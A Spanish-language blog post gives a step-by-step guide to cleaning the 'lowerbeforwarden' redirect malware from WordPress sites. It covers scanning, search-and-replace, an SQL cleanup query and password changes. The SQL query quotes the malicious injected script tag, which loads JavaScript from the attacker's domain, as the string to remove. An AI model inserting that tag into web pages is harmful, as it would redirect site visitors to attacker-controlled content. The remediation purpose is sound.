Eliminar hackeo de malware lowerbeforwarden de WordPress

Eliminar el virus malware lowerbeforwarden de WordPress [o casi cualquier malware]

Recientemente, se ha producido un ataque masivo a muchas páginas web con el malware lowerbeforwarden que redirigía a estas automáticamente a páginas porno y mostraban al usuario publicidad de que ha ganado un iPhone y similares.

Ya se sabe que fue un fallo del plugin WP File Manager que está instalado en millones de webs alrededor de todo el mundo tal y como cuentan en este post de ZDNet.

Como no podría ser de otra manera yo no me libre del ataque, por lo cual tuve que estar todo el fin de semana eliminando el maldito malware lowerbeforwarden de unas cuantas páginas, motivo por el cual voy a compartir con vosotros la manera de eliminar este dichoso y molesto malware de vuestra web.

Pasos para eliminar el malware lowerbeforwarden.

Pues lo primero es que no cunda el pánico, es una infección y quitar la va a ser algo difícil y tedioso pero no imposible.

Si podemos acceder a nuestro panel de administración de WordPress sin problemas (si no podéis desde el PC hacerlo desde el móvil) vamos a ir directamente al plugin Wordfence, el que después de tener que arreglar varios hackeos en el tiempo que llevo ofreciendo soporte a diversos clientes me parece el mejor antimalware de WordPress.

Desde ahí vamos a realizar un escaneo a toda la web para detectar cuáles son los archivos que están infectados y por qué malware.

En un principio está guía está dedicada al malware lowerbeforwarden, sin embargo, si desde Wordfence o desde alguna página como Sucuri Sitecheck que también nos ofrece poder realizar un testeo de nuestra web podemos identificar cuál es el script qué ocasiona el hackeo y podremos eliminarlo de dos maneras qué es el siguiente paso que vamos a ver.

Eliminar el script que provoca el hackeo

Para eliminar el script qué provoca que las páginas se redirijan vamos a buscar el script del malware lowerbeforwarden. Esto podemos hacerlo de dos maneras, bien con el plugin Better search replace o bien directamente desde la base de datos.

Es posible que debido al hackeo del malware lowerbeforwarden no podamos instalar plugin desde el mismo repositorio de WordPress, si es así descárgate e instala de forma manual el plugin Better search replace desde aquí.

Eliminar el malware lowerbeforwarden con el plugin Better search replace.

Para eliminar el malware lowerbeforwarden con este plugin vamos a buscar bien el script completo o bien solo el nombre que reemplazaremos por un campo vacío y seleccionaremos todas las tablas.

Si este primer paso ha salido bien habremos solucionado gran parte del problema y es posible que nuestra web ya no se redirija.

Eliminando el malware lowerbeforwarden desde la base de datos

Si el hackeo no nos permite realizar esta modificación desde el mismo panel de WordPress vamos a hacerlo desde la base de datos.

Una vez entremos en nuestro panel de phpmyadmin vamos a dirigirnos a la sección de consulta en la cual vamos a pegar lo siguiente para tratar de eliminarlos todos ejecutando este script en SQL.

UPDATE wp_posts SET post_content = (REPLACE (post_content, “<script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns1' type='text/javascript'></script>”, ""));

Si todo sale correctamente habremos podido eliminar el malware lowerbeforwarden de nuestra web.

Del mismo modo que en el paso anterior si este código falla prueba con distintas variables como el nombre o la URL, ya que lo que no queremos es que redirija.

Para ello haz clic en la pestaña búsqueda de PhpMyAdmin y busca solo el nombre, “lowerbeforwarden”, una vez los hayas localizado simplemente haz clic en el botón Eliminar.  Este paso también eliminará el script o parte de el del sitio web. 

Limpiar carpetas y plugin

Una vez hemos conseguido eliminar el dichoso script de la web es el momento de reponer uno por uno todos los plugin que habremos tenido que eliminar previamente.

Sobra decir que también deberemos haber hecho una copia de la base de datos, desactivado todos los plugins y de ser posible haber puesto la página mantenimiento.

Reinstalar los plugin

Para reponer todos los plugin en la página web simplemente iremos al gestor de archivos del panel de nuestro proveedor de hosting y desde ahí subiremos los plugins que descargaremos desde el repositorio online de WordPress o bien desde las páginas principales de de los desarrolladores.

Una vez repuestos los reactivaremos uno por uno o en pequeña tacadas, te recomiendo que mientras vayas haciendo algún escaneo que otro con Wordfence para comprobar cómo va el estado de la web y si hay archivos que eliminar, alguno se pueden reparar o si al activar algún plugin vuelve el problema.

Si todo ha salido bien seguramente hayas recuperado la gran mayoría de elementos de diseño y contenido.

Limpiar archivos en las carpetas principales de WordPress y en la base de datos.

Desde el gestor de archivos de tu panel de hosting deberás limpiar algunos archivos generalmente con nombre wxdpjqc.php y similares y ver si hay tablas en la base de datos que no se corresponden con la instalación de WordPress y eliminarlas.

También te recomiendo que en el momento que puedas entrar a las entradas y a las imágenes compruebes si ha quedado script del malware lowerbeforwarden para seguir eliminandolo con cualquiera de los métodos antes mencionados.

Cambiar la contraseña de la base de datos y las cuentas

Si estás en este punto la web tiene que estar restaurada ya limpia del malware lowerbeforwarden y funcionando perfectamente y a ti se te ha tenido que pasar el susto y los sudores fríos.

Para evitar qué algo así vuelva a suceder es recomendable cambiar la contraseña de la base de datos, los usuarios de la web y el panel de acceso al hosting.

Espero que esta guía te haya servido para eliminar malware lowerbeforwarden de tu web, si necesitas ayuda con ellos no dudes en consultarme y te mandaré un presupuesto sin ningún tipo de compromiso.

Puedes hacerlo a través de mi formulario de contacto, teléfono o WhatApp. Aquí puedes ver más documentación sobre cómo prevenir y arreglar el hackeo de una web.